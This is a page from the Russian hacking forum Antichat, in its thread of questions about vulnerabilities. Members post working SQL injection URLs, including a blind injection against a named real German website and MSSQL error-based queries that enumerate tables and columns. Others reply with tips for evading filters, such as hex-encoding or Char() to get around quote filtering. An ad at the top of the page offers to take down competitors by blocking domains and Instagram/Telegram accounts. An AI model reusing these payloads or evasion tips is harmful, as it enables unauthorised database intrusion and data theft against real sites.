Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 264 из 2438

264

Опции темы

Поиск в этой теме

Опции просмотра

#2631

16.07.2008, 18:38

l-l00K

Leaders of Antichat - Level 4

Регистрация: 26.11.2006

Сообщений: 237

С нами: 10240166

Репутация: 2097

Да есть там скуля, работает на технологии more than 1 row
http://www.rauchfrei-info.de/index.php?id=9'+and+1=if(ord(substring((select%20t able_name%20from%20information_schema.tables%20lim it%200,1),1,1))=67,1,(select+table_name+from+infor mation_schema.tables))/*

__________________
Не занимаюсь коммерцией в любых ее проявлениях.

#2632

16.07.2008, 19:26

MaSTeR GэN

Участник форума

Регистрация: 23.05.2008

Сообщений: 121

С нами: 9457097

Репутация: 133

2I-I00K
пожно по подробнее об этом ? гугль дал результаты на анлийском (\
ecли можно ссылку что бы почитать )

Последний раз редактировалось MaSTeR GэN; 16.07.2008 в 19:29..

#2633

16.07.2008, 19:41

n0ne

Постоянный

Регистрация: 01.01.2007

Сообщений: 796

С нами: 10188506

Репутация: 861

MaSTeR GэN, ttp://www.xakep.ru/magazine/xa/111/056/1.asp

#2634

16.07.2008, 20:18

MaSTeR GэN

Участник форума

Регистрация: 23.05.2008

Сообщений: 121

С нами: 9457097

Репутация: 133

2n0ne thx

#2635

16.07.2008, 22:31

Constantine

Members of Antichat - Level 5

Регистрация: 24.11.2006

Сообщений: 927

С нами: 10243046

Репутация: 3033

С этого момента любой оффтоп в этой теме будет наказыватся отрицательной репутацией. Тема называется ваши вопросы по уязвимостям, а не "нераскрученные скули" или "продайте сплойт". О чем стоит говорить в этой теме сказано в корневом сообщении, это последние китайское предупреждение

__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ

#2636

17.07.2008, 05:47

zavra

Участник форума

Регистрация: 12.03.2008

Сообщений: 159

С нами: 9559919

Репутация: 137

в mssql узнал первую таблицу: content_meta_tbl, пытаюсь узнать другие:

Код:

http://www.site.ru/students/content.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('content_meta_tbl'))--

пишет
Incorrect syntax near 'content_meta_tbl'.
Поптыка узнать ячейки из этой таблица закончились также

#2637

17.07.2008, 06:48

aka PSIH

Постоянный

Регистрация: 07.02.2006

Сообщений: 630

С нами: 10660753

Репутация: 676

zavra

Цитата:

content.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FRO M+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+I N+(SELECT+TOP+2+TABLE_NAME+FROM+INFORMATION_SCHEMA .TABLES))--

перебирай второй TOP 1,2,3,4.....

#2638

17.07.2008, 22:27

zavra

Участник форума

Регистрация: 12.03.2008

Сообщений: 159

С нами: 9559919

Репутация: 137

Код:

content.asp?id=1+or+1=(SELECT+TOP+2+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users')--

Incorrect syntax near 'users'.
что неправильного-то в синтаксисе?(

#2639

17.07.2008, 22:47

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

Ковычки фильтрует, в hex загони users

#2640

17.07.2008, 23:17

~~~!DoK_tOR!~~~

Banned

Регистрация: 10.11.2006

Сообщений: 829

С нами: 10263663

Репутация: 1559

можно в Char()

Страница 264 из 2438

264

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход